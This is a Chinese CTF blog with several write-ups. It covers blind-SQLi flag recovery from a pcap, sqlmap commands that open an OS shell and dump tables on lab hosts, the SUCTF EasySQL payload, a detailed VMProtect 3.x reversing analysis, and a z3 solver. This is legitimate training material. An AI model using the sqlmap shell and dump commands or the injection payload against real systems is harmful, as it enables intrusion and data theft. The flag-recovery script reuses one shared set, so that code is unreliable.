0xcafebabe 发布的文章

sqltest

打开wireshark翻到最下面,因为上面在爆破的是表名。
追踪http流,导出为csv,然后做出和下面s一样的文本格式填到python里面。
因为flag爆破的时候,如果是对的他会再尝试一下以验证,所以我们写个set来拿就行。

s = "1 100\n1 200\n1 150\n1 125\n1 112\n1 106\n1 103\n1 101\n1 102\n1 102\n2 100\n2 200\n2 150\n2 125\n2 112\n2 106\n2 109\n2 108\n2 107\n2 108\n3 100\n3 50\n3 75\n3 88\n3 94\n3 97\n3 96\n3 97\n4 100\n4 200\n4 150\n4 125\n4 112\n4 106\n4 103\n4 101\n4 102\n4 103\n5 100\n5 200\n5 150\n5 125\n5 112\n5 119\n5 122\n5 124\n5 123\n5 123\n6 100\n6 50\n6 75\n6 63\n6 57\n6 54\n6 52\n6 51\n6 52\n7 100\n7 50\n7 75\n7 63\n7 57\n7 54\n7 56\n7 55\n7 55\n8 100\n8 200\n8 150\n8 125\n8 112\n8 106\n8 103\n8 101\n8 100\n8 101\n9 100\n9 50\n9 75\n9 88\n9 94\n9 97\n9 99\n9 100\n10 100\n10 50\n10 75\n10 88\n10 94\n10 97\n10 99\n10 98\n10 98\n11 100\n11 50\n11 75\n11 63\n11 57\n11 54\n11 56\n11 55\n11 56\n12 100\n12 50\n12 75\n12 63\n12 57\n12 54\n12 52\n12 51\n12 51\n13 100\n13 50\n13 25\n13 38\n13 44\n13 47\n13 49\n13 48\n13 48\n14 100\n14 50\n14 25\n14 38\n14 44\n14 47\n14 49\n14 48\n14 48\n15 100\n15 200\n15 150\n15 125\n15 112\n15 106\n15 103\n15 101\n15 100\n15 101\n16 100\n16 50\n16 75\n16 88\n16 94\n16 97\n16 99\n16 100\n17 100\n17 50\n17 75\n17 63\n17 57\n17 54\n17 52\n17 53\n17 53\n18 100\n18 200\n18 150\n18 125\n18 112\n18 106\n18 103\n18 101\n18 102\n18 102\n19 100\n19 50\n19 75\n19 63\n19 57\n19 54\n19 56\n19 57\n20 100\n20 50\n20 75\n20 88\n20 94\n20 97\n20 99\n20 98\n20 98\n21 100\n21 50\n21 25\n21 38\n21 44\n21 47\n21 49\n21 50\n22 100\n22 50\n22 75\n22 63\n22 57\n22 54\n22 56\n22 55\n22 56\n23 100\n23 200\n23 150\n23 125\n23 112\n23 106\n23 103\n23 101\n23 102\n23 102\n24 100\n24 50\n24 75\n24 88\n24 94\n24 97\n24 99\n24 98\n24 99\n25 100\n25 50\n25 75\n25 63\n25 57\n25 54\n25 52\n25 53\n25 53\n26 100\n26 50\n26 75\n26 63\n26 57\n26 54\n26 52\n26 51\n26 52\n27 100\n27 50\n27 75\n27 88\n27 94\n27 97\n27 99\n27 98\n27 98\n28 100\n28 50\n28 25\n28 38\n28 44\n28 47\n28 49\n28 48\n28 48\n29 100\n29 50\n29 75\n29 88\n29 94\n29 97\n29 99\n29 100\n30 100\n30 50\n30 25\n30 38\n30 44\n30 47\n30 49\n30 48\n30 48\n31 100\n31 50\n31 75\n31 63\n31 57\n31 54\n31 56\n31 57\n32 100\n32 200\n32 150\n32 125\n32 112\n32 106\n32 103\n32 101\n32 100\n32 101\n33 100\n33 50\n33 75\n33 88\n33 94\n33 97\n33 99\n33 98\n33 99\n34 100\n34 50\n34 75\n34 88\n34 94\n34 97\n34 99\n34 100\n35 100\n35 200\n35 150\n35 125\n35 112\n35 106\n35 103\n35 101\n35 100\n35 101\n36 100\n36 200\n36 150\n36 125\n36 112\n36 106\n36 103\n36 101\n36 102\n36 102\n37 100\n37 50\n37 75\n37 63\n37 57\n37 54\n37 56\n37 55\n37 55\n38 100\n38 200\n38 150\n38 125\n38 112\n38 119\n38 122\n38 124\n38 125"
m = s.split("\n")
l = [set()] * 43
ans = ["*"] * 43
for i in m:
    a, b = i.split(" ")
    a, b = int(a) - 1, int(b)
    if b in l[a]:
        ans[a] = chr(b)
    l[a].add(b)
print("".join(ans))
# flag{47edb8300ed5f9b28fc54b0d09ecdef7}*****

BUU SQL COURSE 1

python .\sqlmap.py -u "http://b4099114-de59-4bfa-aab0-37905826c8b5.node5.buuoj.cn:81/backend/content_detail.php?id=1" --os-shell --batch
cat /flag

flag{5975ed59-ad8d-4a2f-a503-9f740c2781b7}

sqli-labs

python .\sqlmap.py -u "http://bb6dac2d-c817-4840-b9ea-9b98100e06e5.node5.buuoj.cn/Less-1/?id=1" --batch -D ctftraining -T flag --dump

+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{83e39cac-0fdf-4af5-b6f2-911246c0e743} |
+--------------------------------------------+

[SUCTF 2019]EasySQL

传入*,1后端相当于执行select *,1||aaa from bbb,由于1把或截断了,就可以直接拿到。
Array ( [0] => flag{c2a2f051-790a-4f5a-a59e-f81b453bc709} [1] => 1 )

引言

参加了XDSEC 逆向内部组会,会后有一个题目要求使用ida的Appcall进行对函数的爆破,该程序是VMProtect 3.x加密的,但是爆破只需要把vm当作一个黑箱,但是逆向的人就要考虑很多了......作为一个reverser,我们必须要有着透彻分析,不能遗漏的精神

先载入x64dbg,观察到重要函数,结果为0时候错误,为1时候正确:

2024-07-03T04:36:20.png

点进去这个函数,发现到:

0000000000401550          | 41:57            | push r15                                          |
0000000000401552          | 9C               | pushfq                                            |
...
jmp
...
000000000040C2B8          | 4C:8B7C24 08     | mov r15,qword ptr ss:[rsp+8]                      |
000000000040C2BD          | 48:C74424 08 A06 | mov qword ptr ss:[rsp+8],FFFFFFFF86B762A0         |
jmp
jne
call
000000000040C28E          | 48:814424 00 52E | add qword ptr ss:[rsp],FFFFFFFFFFBFEA52           |
000000000040C297          | 68 214B586F      | push 6F584B21                                     |
000000000040C29C          | FF7424 10        | push qword ptr ss:[rsp+10]                        |
000000000040C2A0          | 9D               | popfq                                             |
000000000040C2A1          | 48:8D6424 18     | lea rsp,qword ptr ss:[rsp+18]                     |
call
...

0x0 初识VMProtect虚拟机

这个特征为VMProtect虚拟机3.x的虚拟机外部初始化片段,最后一个call后就是虚拟机内部初始化。

VMP虚拟机自行维护了一个自己的栈和变量空间(虚拟寄存器),rsp+xxx为对变量空间的寻址(和局部变量位置差不多一样),对于虚拟栈,可以理解为VMP在堆内开辟的,并将其栈顶指针在虚拟机内部初始化过程中赋予随机的一个寄存器(对于本程序来说,是rbx),VMP将源程序的代码段进行了“虚拟化”,虚拟到了它自己特有的指令集,并有一套自己的指令字节码和虚拟寄存器对应规则(相当于你在你的x86电脑上模拟执行ARM代码),再加上vmp是基于栈的OISC类虚拟机(vmp的万用门,这个待会会介绍),这就使得代码逆向还原变得非常困难,所以我也是搞了一日一夜,晚交了这份报告...

VMP对你的代码进行虚拟化中,会把汇编指令功能性拆解,分割成它的“基本”指令,基本指令是
vNand(...)
vNor(...)
vPush(Imm64,Imm32,Imm16,vReg64,vReg32,vReg16, [mem])
vPop(vReg64,vReg32,vReg16, [mem])
vExit
vEnter
...
vPush其实是把一个数据推入它的vStack,不是rsp指向的stack,vPop其实是把一个数据从vStack中弹出
这些指令,单独一条叫做一个handler,VMP2.x中的架构是中心Dispatcher,然后解密字节码,然后调用各个handler,handler返回到中心Dispatcher,这就导致了很多vmp2.x自动化脚本的出现,导致vmp2.x不安全。
VMP3.x完美避开了这一个缺陷,它把Dispatcher进行了“去中心化”,分配到了每个handler的尾部...详情看:0x1 指令执行。

对了,你会发现你常见的xor or and not在上面的handler中从未出现,这是由于这几个指令可以“模拟”它们,详情看 0x4 万用门

0x1 VMProtect虚拟机的指令执行

本文只对本程序进行讨论,VMProtect进行保护后的程序寄存器用途均是随机。
在本程序中,我们可以看到这样的代码

000000000048EA7D          | 4C:8B9C24 900000 | mov r11,qword ptr ss:[rsp+90]                     |
000000000048EA85          | 41:F7DB          | neg r11d                                          |
000000000048EA8F          | 41:FFC3          | inc r11d                                          |
000000000048EA99          | 41:F7D3          | not r11d                                          |
000000000048EA9F          | 41:81C3 1E688979 | add r11d,7989681E                                 |
000000000048EAAA          | 4C:03DA          | add r11,rdx                                       | rdx:&L"\n"
000000000048EB01          | 49:81EB 04000000 | sub r11,4                                         |
000000000048EB11          | 41:8B0B          | mov ecx,dword ptr ds:[r11]                        |
...

通过我的观察,我注意到了,r11寄存器来源是虚拟机外初始化的一个值,而中间对r11的操作就是在“解密”这个值,最后这个值指向的内存其实就是vmp的字节码,用于每次取一个值,然后其实ecx在后面也要进行解密:

000000000048EB11          | 41:8B0B          | mov ecx,dword ptr ds:[r11]                        |
000000000048EB1B          | 33CB             | xor ecx,ebx                                       |
000000000048EB1E          | C1C9 02          | ror ecx,2                                         |
0000000000429D22          | FFC1             | inc ecx                                           |
00000000004635A8          | 0FC9             | bswap ecx                                         |
00000000004635AB          | C1C9 02          | ror ecx,2                                         |

00000000004635B4          | 310C24           | xor dword ptr ss:[rsp],ecx                        |
00000000004635B7          | 5B               | pop rbx                                           |

00000000004635BB          | 4C:03D1          | add r10,rcx                                       |

00000000004FCB73          | 41:52            | push r10                                          |
00000000004FCB75          | C3               | ret                                               |

注意到最后有个add r10, rcx
其实r10是指向本handler首部的一个指针,rcx是解密后的,本handler首部指针和目标handler头部指针的相对位置。
push addr
ret
其实就是jmp addr(不过貌似在哪里见过,内核编程中要注意push+ret好像不清cpu缓存啥的,比jmp快一点?)
这种每一个handler跳转一次使得无法在静态调试下确定下一个handler是谁。

你可能注意到了xor [rsp], ecx pop rbx这个,这个实际上在“保存异或状态”,从而下一轮可以接着上一次加密后的Key来解密下一个handler(这就使得静态调试的时候无法对加密的字节码进行解密,加大了破解难度)。

0x2 VMProtect的指令混淆(掺垃圾)

这个实际上不是花指令,VMP壳中压根不给你玩花指令,而是无效指令。
比如说这段指令:

mov rdi,qword ptr ds:[rbx]
*add cx,4375
*movsx ecx,r9w
*rol cl,cl
mov r9w,word ptr ss:[rdi]
*and cl,r8b
*shl ecx,cl
*movsx ecx,r15w
add rbx,6
*movsxd rcx,ebp
*shld cx,r13w,B3
*sub cl,r15b
mov word ptr ds:[rbx],r9w
*movsx ecx,sp
*btc ecx,r10d
sub rsi,4
*sbb cx,34EE
*shrd rcx,r14,81
mov ecx,dword ptr ds:[rsi]

注意到rcx相关操作,观察到最后一行直接mov ecx, xxx,导致上面对rcx寄存器的操作全是无效的。我们直接就化简掉了13条*指令,得到如下指令

mov rdi,qword ptr ds:[rbx]
mov r9w,word ptr ss:[rdi]
add rbx,6
mov word ptr ds:[rbx],r9w
sub rsi,4
mov ecx,dword ptr ds:[rsi]

经过我长达几个小时的逆向过程,我逐渐熟悉了vmp的垃圾指令的样子,所以我现在一眼扫过去就能自动屏蔽掉垃圾之指令(很酷是不是?你也来试试吧!)

0x3 vStack

VMP的虚拟化栈是一个它自己创建的一块内存空间,VMP如果要执行vNAND(a,b),它的handler执行顺序大概是:
vPUSH(b)
vPUSH(a)
vNAND ; 这个函数没有传入东西,因为它依赖于vm流程中的vStack
函数执行完后会把Rflag入栈,result则在栈上的a或b位置上
vStore(flag)
处理result
...
比如vNAND:
r9d = '4'
ebp = 0x3

not r9d
not ebp
and r9d, ebp

r9d = 0xffffffc8

- stack -
$+0 | rflag
$+4 | NAND_result
    |
    |

这大致就是它在执行完毕后栈的样子!

特别地,在vmp虚拟机初始化的时候,它会把进入虚拟机前的所有通用寄存器(这里不是vReg,而是rax,rbx,...,r8-r15)统统入栈(这个栈就是rsp指向的),然后再进行vStore,将栈上的元素储存到它的vReg中,其中,vReg的寻址是:
0000000000440C06 | 4C:890C34 | mov qword ptr ss:[rsp+rsi],r9 |
注意到rsp是栈顶指针,rsi则是一个偏移,分析后可以知道rsi是从r11中拿出来的并且解密后的,所以你无法预测vmp将要把它存在哪里,重要的是,vmp会进行“寄存器轮转”,运行一段时间vm后将原先的寄存器映射关系换一下,这就使得变量映射关系更加扑朔迷离,不好解决。

下面我们来讨论一下vPUSH,假设rbx是vStack栈顶指针

我从加密程序中扣取了一块vPUSH handler的trace,我们来观看一下

sub r10, 1
sal bpl, 0x78
# movzx r11d, byte ptr [r10]
xor r11b, dil
clc
xor dx, bp
shl bpl, cl
neg r11b
rol dx, 0x4f
and ebp, ebp
xor ebp, 0x2706db4
add r11b, 0x1c
sal dh, cl
cmp dx, dx
btr rbp, r10
neg r11b
rol r11b, 1
cmp r8w, 0x55bd
mov dl, 0x2f
movzx dx, r12b
add r11b, 0xe3
bts rdx, rdi
xor dil, r11b
add bp, r9w
# mov rdx, qword ptr [rsp + r11]
cmp rdi, rsi
rol bp, cl
mov ebp, r15d
# sub rbx, 8
# mov qword ptr [rbx], rdx
or bpl, 0x5d
sub r10, 4
bswap bp
rcl rbp, 0x2f
movsx rbp, bp
mov ebp, dword ptr [r10]
jmp 0x48a4c3
xor ebp, edi
bswap ebp
jmp 0x497dbe
rol ebp, 1
cmc
neg ebp
ror ebp, 1
stc
jmp 0x4264d3
push rdi
ror dil, cl
xor dword ptr [rsp], ebp
movsx rdi, bx
cmp r13b, r8b
pop rdi
test dil, r15b
cmp di, r15w
movsxd rbp, ebp
test dh, 0x3e
clc
add rsi, rbp
jmp 0x4c80fc
jmp 0x416a25
lea rcx, [rsp + 0x140]
cmp rbx, rcx
jmp 0x47d6bf
ja 0x429b99
jmp rsi
sub r10, 8

打#号的其实是核心指令,注意到他先从r11中拿出了偏移,然后进行了vLoad,之后给了栈8个字节大小,并存入了栈顶。其他指令除了垃圾,就是解密,是堆栈溢出检查或者是计算下一个handler并进行跳转。

0x4 万用门

这里资料很多了,我直接给出链接

1、万用门实现逻辑指令
理论知识:

vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P

P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令

怕忘记了,直接给出公式,后面的数字指需要几次P运算

not(a) = P(a,a) 1

and(a,b) = P(P(a,a),P(b,b)) 3

or(a,b) = P(P(a,b),P(a,b)) 2

xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5
————————————————
版权声明:本文为CSDN博主「鱼无伦次」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u014738665/article/details/120722455

但是除了上面的内容,我在代码还原的时候还观察到了

(a & ~(a & b)) ?= a ^ b
这个等式只在a = True 的时候成立
~(~a + b) = a - b
这个等式也是vmp将cmp进行虚拟化的等式,因为cmp b, a其实就是sub b, a 然后看rflags
~a + 1 = -a
最重要的一个,异或化简
a   b        ~(a | ~b) | ~(~a | b)
0   1        1
1   0        1
1   1        0
0   0        0

所以 ~(a | ~b) | ~(~a | b) == a ^ b !!!!

这个式子其实还有一种写法,就是根据 德·摩根定律
~(a & b) = ~a | ~b
~(a | b) = ~a & ~b
把位运算改成并集交集补集就是集合版本的 德·摩根定律,上过高中的同学应该在选择题里面天天见到。

0x5 vReg

这个部分其实我们在0x3 vStack中谈到了,如有忘记请回顾
# mov rdx, qword ptr [rsp + r11]

0x6 正式开始

好了,相信你一定对VMProtect逆向充满了兴趣,不过首先介于这个函数没有进行全函数保护,主函数保护,反调试,代码变异,这个还是很相 对 容 易的,被vmp保护的其他程序就不要想了,老老实实当作黑箱处理吧!

好的,我们首先在vm函数外下一个断点,在vm函数后下一个断点
就是这两行2024-07-03T04:36:51.png

然后跑起来,随便输入点文本,如mnbv(我刚开始试的1234,之后trace文件坏了,就重新输入了,搞的时候是不知道结果是4字符的!),注意到输入的字符开始地址是 0x000000000070FE17,我们记录下来,然后开始x64-dbg trace,之后进行trace分析。
2024-07-03T04:37:11.png
这里我直接追踪了500000行,如果最后不是断下来的,那么就说明还没trace够,继续接着trace。

trace完后,进行分析:
2024-07-03T04:37:22.png
定位到我们的输入(mnbv)中的m,发现很多搜索结果(其实除了第二个,其他都是strlen函数!)
2024-07-03T04:37:29.png
我们定位过去,发现它被投入了vStack...,然后继续往下浏览,发现到:
2024-07-03T04:37:38.png
说明我们的'm'被存到了[rsp+r11]的vReg中,由于我们是trace,可以继续搜索谁在这之后对其进行了READ操作,于是我再次定位到了它:
2024-07-03T04:37:46.png
它又被推到了栈上,往下翻(大约在61024)行,注意到'm'又被读取并上栈了
2024-07-03T04:37:55.png
下一个handler,vSHR
2024-07-03T04:38:02.png
这个相当于右移了7位,我们无从推测是check函数内部的真实代码,还是vmp进行检查。不过我认为如果结果不是0,那么它就不是正常ascii码!随后数据进行了存储,我没有追对于rfl的检验,因为完全没有必要,我们需要关心的是数据如何变化。
接下来的过程,就是非常耗时间的人工trace了,在这之中我先是还原出来了:

('m' & ~('m' & 0)) | ~'9')

随后,我对第二个字符进行逆向的时候,发现在'a'之前,还有一段对a的操作,由于在第一个索引(0)下失效了,并且后面我还观察到了1,2(索引2,3),我更加确信我的想法:运算中有一个i存在!
我继续进行代码还原,然后还原出了:

~(~(~(('m' & ~('m' & 0)) | ~'9') | ~(~('m' & ~('m' & 0)) | '9') + ~'1') + 'B')

我注意到,~(a | ~b) | ~(~a | b)

所以代码化简为:

~(~((   ('m' & ~('m' & 0))    ^ '9') + ~'1') + 'B')

进一步:

~(~((   'm' ^ 0    ^ '9') + ~'1') + 'B')

进一步:注意到~(~a + b) = a - b

'm' ^ 0 ^ '9' - 50 - 'B'

`
其实这就是vmp的比较逻辑,vmp通过判断这个表达式的结果是否为0,来判断值是否正确,这里的50经过对0~3的数据观察,均不变,'9'也均不变,而0和'B'会进行变化,其中0是索引值!'B'值每一个特有的,经过我最后的冲刺,成功逆向出4个值的对应的'B'
`

0x42('B') 0x1f 0x1e 0x1d

这下,我们可以大致"还原" 最终c语言代码:

bool check(char *input) {
    const char key[4] = {0x42, 0x1f, 0x1e, 0x1d};
    auto len = strlen(input);
    bool result = true;
    for (int i = 0; i < len; i++) {
        if ((input[i] ^ '9' ^ i) - 50 != key[i]) {
            result = false;
        }
    }

    return result;
}

显然
Miku为此函数的唯一解。

summarize

题目要求输入 a~f 六个正整数
2024-07-01T04:57:29.png

通过观察和带入值尝试,发现这些函数的实现都是基本运算

_BOOL8 __fastcall sub_40137B(
        unsigned int a1,
        unsigned int a2,
        unsigned int a3,
        unsigned int a4,
        unsigned int a5,
        unsigned int a6)
{
  unsigned int v7; // eax
  int v8; // ebx
  unsigned int v9; // eax
  unsigned int v10; // ebx
  unsigned int v11; // eax
  unsigned int v12; // eax
  unsigned int v18; // [rsp+20h] [rbp-30h]
  unsigned int v19; // [rsp+24h] [rbp-2Ch]
  unsigned int v20; // [rsp+28h] [rbp-28h]
  unsigned int v21; // [rsp+2Ch] [rbp-24h]
  unsigned int v22; // [rsp+30h] [rbp-20h]
  unsigned int v23; // [rsp+34h] [rbp-1Ch]
  unsigned int v24; // [rsp+38h] [rbp-18h]
  unsigned int v25; // [rsp+3Ch] [rbp-14h]

  if ( a1 <= 100000000 || a2 <= 0x5F5E100 || a3 <= 0x5F5E100 || a4 <= 0x5F5E100 || a5 <= 0x5F5E100 || a6 <= 0x5F5E100 )
    return 0LL;
  if ( a1 > 999999999 || a2 > 0x3B9AC9FF || a3 > 0x3B9AC9FF || a4 > 0x3B9AC9FF || a5 > 0x3B9AC9FF || a6 > 0x3B9AC9FF )
    return 0LL;
  v7 = sub(a1, a2);
  v18 = add(v7, a3) % 0x10AE961;
  v19 = add(a1, a2) % 0x1093A1D;
  v8 = mul(2u, a2);
  v9 = mul(3u, a1);
  v10 = sub(v9, v8);
  v20 = v10 % xor(a1, a4);
  v11 = add(a3, a1);
  v21 = and(a2, v11) % 0x6E22;
  v22 = add(a2, a4) % a1;
  v12 = add(a4, a6);
  v23 = xor(a3, v12) % 0x1CE628;
  v24 = sub(a5, a6) % 0x1172502;
  v25 = add(a5, a6) % 0x2E16F83;
  return v18 == 4139449
      && v19 == 9166034
      && v20 == 556569677
      && v21 == 12734
      && v22 == 540591164
      && v23 == 1279714
      && v24 == 17026895
      && v25 == 23769303;
}

至此,我们可以写出z3-solver脚本

from z3 import *
s = Solver()
x = [BitVec(f"x{i}", 32) for i in range(6)]

for i in x:
    s.add(i > 100000001, i <= 999999999)

a1,a2,a3,a4,a5,a6=x[0],x[1],x[2],x[3],x[4],x[5]
sub = lambda a1,a2 : a1 - a2
add = lambda a1,a2 : a1 + a2
mul = lambda a1,a2 : a1 * a2
xor = lambda a1,a2 : a1 ^ a2
_and = lambda a1,a2 : a1 & a2

v7 = sub(a1, a2)
v18 = add(v7, a3) % 0x10AE961
v19 = add(a1, a2) % 0x1093A1D
v8 = mul(2, a2)
v9 = mul(3, a1)
v10 = sub(v9, v8)
v20 = v10 % xor(a1, a4)
v11 = add(a3, a1)
v21 = _and(a2, v11) % 0x6E22
v22 = add(a2, a4) % a1
v12 = add(a4, a6)
v23 = xor(a3, v12) % 0x1CE628
v24 = sub(a5, a6) % 0x1172502
v25 = add(a5, a6) % 0x2E16F83;v18 = (v7 + a3) % 0x10AE961
v19 = (a1 + a2) % 0x1093A1D
s.add(v18 == 4139449)
s.add(v19 == 9166034)
s.add(v20 == 556569677)
s.add(v21 == 12734)
s.add(v22 == 540591164)
s.add(v23 == 1279714)
s.add(v24 == 17026895)
s.add(v25 == 23769303)
print(s.check())
m = s.model()
for i in x:
    print(hex(m[i].as_long())[2:], end='')
# 2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0
# uiuctf{2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0}

附,运算符优先级(从上到下依次降低):

~
* /
+ -
<< >>
^
&
|